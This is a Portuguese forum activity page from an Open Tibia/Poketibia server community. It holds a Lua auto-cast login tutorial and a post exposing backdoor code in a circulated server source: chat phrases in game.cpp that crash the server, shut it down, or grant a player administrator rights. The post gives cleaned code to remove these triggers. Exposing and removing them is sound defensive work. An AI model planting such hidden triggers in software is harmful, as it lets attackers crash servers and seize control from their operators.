    int32_t LuaInterface::luaOpenPrivateChannel(lua_State* L) { ScriptEnviroment* env = getEnv(); uint32_t cid = popNumber(L); Player* player = env->getPlayerByUID(cid); if (!player || player->isRemoved() || !player->isPremium()) return false; ChatChannel* channel = g_chat.createChannel(player, 0xFFFF); if (!channel || !channel->addUser(player)) return false; player->sendCreatePrivateChannel(channel->getId(), channel->getName()); return true; } Agora vamos ao script para abrir o Live/Cast ao fazer logon.
     
    Vá em data/Creatureevents e crie um arquivo chamado live.lua e coloque o código abaixo
     
    function onLogin(cid) local t, data = 1, getPlayerSpectators(cid) if getPlayerAccountManager(cid) == MANAGER_NONE and getPlayerAccess(cid) <= 4 then -- Account Manager não irá iniciar o Cast e GM também não, mude apenas o Acess caso seja diferente data.broadcast = true doPlayerSetSpectators(cid, data) db.executeQuery("UPDATE `players` SET `broadcasting` = 1 WHERE `id` = " .. getPlayerGUID(cid)) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Seu Cast foi ativado automaticamente, para desativar digite /live off.") openPrivateChannel(cid) -- A função para abrir o PrivateChannel end return true end Depois abra o login.lua e coloque registerCreatureEvent(cid, "AutoCast")
     
    Feito isso, abra o creaturescript.xml e coloque
    <event type="login" name="AutoCast" event="script" value="live.lua"/>  
  16. Gostei
    vedovi deu reputação a L3K0T em Source Poketibia - Códigos de derrubar   
    Olá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
     
    ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
     
    Código 1
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
     
    Código 2
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para 
     
    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {  
     
     
    Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
  17. Gostei
    vedovi recebeu reputação de arthurmgoncalves em (Resolvido)Fazer source com server ?   
    Olá, se faz o server com as sources não ao contrário, vc vai precisar da source do seu server ou pegar uma source base e ir editando ela até atender todo sistema pedido pelo seu servidor.
  18. Gostei
    vedovi recebeu reputação de sxeinjected em Alterar FUNDO   
    Aperte ctrl + f5, creio que funcionará mas verifique se a imagem que que esta trocando é diferente e tenha mesmo formato background-artwork.jpg
  19. Gostei
    vedovi recebeu reputação de Cleiton Felipi em Criando character deletado   
    Veja na sua database se os characters samples estão undeleted.

Informação Importante

Confirmação de Termo